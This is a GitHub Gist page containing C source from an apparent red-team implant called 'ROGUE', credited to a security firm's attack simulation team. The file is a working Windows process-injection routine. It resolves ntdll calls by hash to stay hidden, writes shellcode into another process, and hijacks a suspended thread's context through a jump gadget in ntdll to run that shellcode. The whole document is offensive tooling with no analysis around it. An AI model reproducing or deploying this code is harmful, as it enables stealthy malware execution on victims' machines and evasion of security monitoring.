Created
October 26, 2023 15:41
-
-
Save realoriginal/3a3f97ea2a6e002d87c18831e4c10fe0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*! | |
* | |
* ROGUE | |
* | |
* GuidePoint Security LLC | |
* | |
* Threat and Attack Simulation Team | |
* | |
!*/ | |
#include "Common.h" | |
typedef struct | |
{ | |
D_API( NtQueryInformationProcess ); | |
D_API( NtAllocateVirtualMemory ); | |
D_API( NtProtectVirtualMemory ); | |
D_API( NtFreeVirtualMemory ); | |
D_API( NtGetContextThread ); | |
D_API( NtSetContextThread ); | |
D_API( NtCreateThreadEx ); | |
D_API( NtResumeThread ); | |
D_API( NtOpenProcess ); | |
D_API( NtClose ); | |
} API ; | |
/* API Hashes */ | |
#define H_API_NTQUERYINFORMATIONPROCESS 0x8cdc5dc2 /* NtQueryInformationProcess */ | |
#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMEmory */ | |
#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */ | |
#define H_API_NTFREEVIRTUALMEMORY 0x2802c609 /* NtFreeVirtualMemory */ | |
#define H_API_NTGETCONTEXTTHREAD 0x6d22f884 /* NtGetContextThread */ | |
#define H_API_NTSETCONTEXTTHREAD 0xffa0bf10 /* NtSetContextThread */ | |
#define H_API_NTCREATETHREADEX 0xaf18cfb0 /* NtCreateThreadEx */ | |
#define H_API_NTRESUMETHREAD 0x5a4bc3d0 /* NtResumeThread */ | |
#define H_API_NTOPENPROCESS 0x4b82f718 /* NtOpenProcess */ | |
#define H_API_NTCLOSE 0x40d6e69d /* NtClose */ | |
/* LIB Hashes */ | |
#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ | |
/*! | |
* | |
* Purpose: | |
* | |
* Locates the jump gadget address x64: RAX x86: ECX | |
* | |
!*/ | |
D_SEC( B ) static PVOID GetJmpTgtAddr( VOID ) | |
{ | |
UINT32 Ofs = 0; | |
PVOID Jmp = NULL; | |
PBYTE Adr = NULL; | |
PIMAGE_DOS_HEADER Dos = NULL; | |
PIMAGE_NT_HEADERS Nth = NULL; | |
PIMAGE_SECTION_HEADER Sec = NULL; | |
Dos = C_PTR( PebGetModule( E_HSH( H_LIB_NTDLL ) ) ); | |
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); | |
Sec = U_PTR( IMAGE_FIRST_SECTION( Nth ) ); | |
do | |
{ | |
/* Calculcate the length of the instruction */ | |
Adr = C_PTR( U_PTR( Dos ) + Sec->VirtualAddress + Ofs ); | |
#if defined( _WIN64 ) | |
/* JMP RAX */ | |
if ( Adr[ 0 ] == 0xFF && Adr[ 1 ] == 0xE0 ) { | |
Jmp = C_PTR( Adr ); | |
break; | |
} | |
#else | |
/* JMP ECX */ | |
if ( Adr[ 0 ] == 0xFF && Adr[ 1 ] == 0xE1 ) { | |
Jmp = C_PTR( Adr ); | |
break; | |
}; | |
#endif | |
/* Adjust the offset */ | |
Ofs = U_PTR( Ofs ) + 1; | |
} while ( Ofs < Sec->SizeOfRawData ); | |
/* Return the address */ | |
return C_PTR( Jmp ); | |
}; | |
/*! | |
* | |
* Purpose: | |
* | |
* Injects a specified process with the shellcode. | |
* | |
!*/ | |
D_SEC( B ) BOOLEAN CtlInject( _In_ PROGUE_CTX Context, _In_ PVOID Buffer, _In_ UINT32 Length, _Out_ PBUFFER Output, _Out_ PUINT32 Error ) | |
{ | |
API Api; | |
CONTEXT Ctx; | |
CLIENT_ID Cid; | |
PARSED_BUF Psr; | |
OBJECT_ATTRIBUTES Att; | |
UINT32 Ofs = 0; | |
UINT32 Pid = 0; | |
UINT64 Adr = 0; | |
UINT32 Stk = 0; | |
UINT32 Len = 0; | |
UINT32 Prt = 0; | |
BOOLEAN Ret = FALSE; | |
NTSTATUS Nst = 0; | |
LPVOID Ptr = NULL; | |
HANDLE Thd = NULL; | |
HANDLE Prc = NULL; | |
LPVOID Shl = NULL; | |
PPACKED_BUF Pkr = NULL; | |
/* Zero out stack structures */ | |
RtlZeroMemory( &Api, sizeof( Api ) ); | |
RtlZeroMemory( &Ctx, sizeof( Ctx ) ); | |
RtlZeroMemory( &Cid, sizeof( Cid ) ); | |
RtlZeroMemory( &Psr, sizeof( Psr ) ); | |
RtlZeroMemory( &Att, sizeof( Att ) ); | |
Api.NtQueryInformationProcess = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTQUERYINFORMATIONPROCESS ) ); | |
Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTALLOCATEVIRTUALMEMORY ) ); | |
Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTPROTECTVIRTUALMEMORY ) ); | |
Api.NtFreeVirtualMemory = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTFREEVIRTUALMEMORY ) ); | |
Api.NtGetContextThread = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTGETCONTEXTTHREAD ) ); | |
Api.NtSetContextThread = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTSETCONTEXTTHREAD ) ); | |
Api.NtCreateThreadEx = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTCREATETHREADEX ) ); | |
Api.NtResumeThread = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTRESUMETHREAD ) ); | |
Api.NtOpenProcess = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTOPENPROCESS ) ); | |
Api.NtClose = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTCLOSE ) ); | |
/* Extract the arguments */ | |
ParserInit( Buffer, Length, &Psr ); | |
Adr = ParserGetInt64( &Psr ); | |
Pid = ParserGetInt32( &Psr ); | |
Stk = ParserGetInt32( &Psr ); | |
Ofs = ParserGetInt32( &Psr ); | |
Shl = ParserGetBuffer( &Psr, &Len ); | |
/* Set the process ID */ | |
Cid.UniqueProcess = C_PTR( Pid ); | |
/* Initialize the attributes */ | |
InitializeObjectAttributes( &Att, NULL, 0, NULL, NULL ); | |
/* Open the target process ! */ | |
if ( NT_SUCCESS( ( Nst = Api.NtOpenProcess( &Prc, PROCESS_ALL_ACCESS, &Att, &Cid ) ) ) ) { | |
/* Allocate a buffer */ | |
if ( NT_SUCCESS( ( Nst = Api.NtAllocateVirtualMemory( Prc, &Ptr, 0, &( SIZE_T ){ Len }, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ) ) ) ) { | |
/* Write the remote process memory using ROP */ | |
if ( NT_SUCCESS( ( Nst = ApcWriteProcessMemory( Prc, Ptr, Shl, Len ) ) ) ) { | |
/* Set the new protection */ | |
if ( NT_SUCCESS( ( Nst = Api.NtProtectVirtualMemory( Prc, &Ptr, &( SIZE_T ){ Len }, PAGE_EXECUTE_READ | PAGE_TARGETS_NO_UPDATE, &Prt ) ) ) ) { | |
/* Create the thread 'fix this!' */ | |
if ( NT_SUCCESS( ( Nst = Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, Prc, Adr, NULL, TRUE, 0, Stk, 0, NULL ) ) ) ) { | |
Ctx.ContextFlags = CONTEXT_FULL; | |
/* Acquire the thread context */ | |
if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( Thd, &Ctx ) ) ) ) { | |
#if defined( _WIN64 ) | |
Ctx.Rip = U_PTR( GetJmpTgtAddr() ); | |
Ctx.Rax = U_PTR( U_PTR( Ptr ) + Ofs ); | |
#else | |
Ctx.Eip = U_PTR( GetJmpTgtAddr() ); | |
Ctx.Ecx = U_PTR( U_PTR( Ptr ) + Ofs ); | |
#endif | |
Ctx.ContextFlags = CONTEXT_FULL; | |
if ( NT_SUCCESS( Nst ) ) { | |
/* Set the new context */ | |
if ( NT_SUCCESS( ( Nst = Api.NtSetContextThread( Thd, &Ctx ) ) ) ) { | |
/* Resume the thread */ | |
if ( NT_SUCCESS( ( Nst = Api.NtResumeThread( Thd, NULL ) ) ) ) { | |
/* Notify we succeeded */ | |
Ret = TRUE; | |
}; | |
}; | |
}; | |
}; | |
/* Close the reference */ | |
Api.NtClose( Thd ); | |
}; | |
}; | |
}; | |
if ( Ret != TRUE ) { | |
/* Free the memory if we failed somehow */ | |
Api.NtFreeVirtualMemory( Prc, &Ptr, &( SIZE_T ){ 0 }, MEM_RELEASE ); | |
}; | |
}; | |
/* Close the reference */ | |
Api.NtClose( Prc ); | |
}; | |
/* Did we fail? */ | |
if ( ! NT_SUCCESS( Nst ) ) { | |
/* Set the last error */ | |
*Error = Nst; | |
}; | |
/* Did we succeed? */ | |
if ( Ret != FALSE ) { | |
/* Add the address */ | |
if ( ( Pkr = PackerInit() ) != NULL ) { | |
/* Pack the address we injected */ | |
PackerAddInt64( Pkr, Ptr ); | |
if ( ! Pkr->Failed ) { | |
Ret = BufferAddRaw( Output, Pkr->Buffer->Buffer, Pkr->Buffer->Length ); | |
}; | |
/* Success! */ | |
PackerFree( Pkr ); | |
} else | |
{ | |
/* No memory */ | |
*Error = STATUS_NO_MEMORY; | |
/* Reset protection */ | |
Ret = FALSE; | |
} | |
} | |
/* Zero out stack structures */ | |
RtlZeroMemory( &Api, sizeof( Api ) ); | |
RtlZeroMemory( &Ctx, sizeof( Ctx ) ); | |
RtlZeroMemory( &Cid, sizeof( Cid ) ); | |
RtlZeroMemory( &Psr, sizeof( Psr ) ); | |
RtlZeroMemory( &Att, sizeof( Att ) ); | |
return Ret; | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment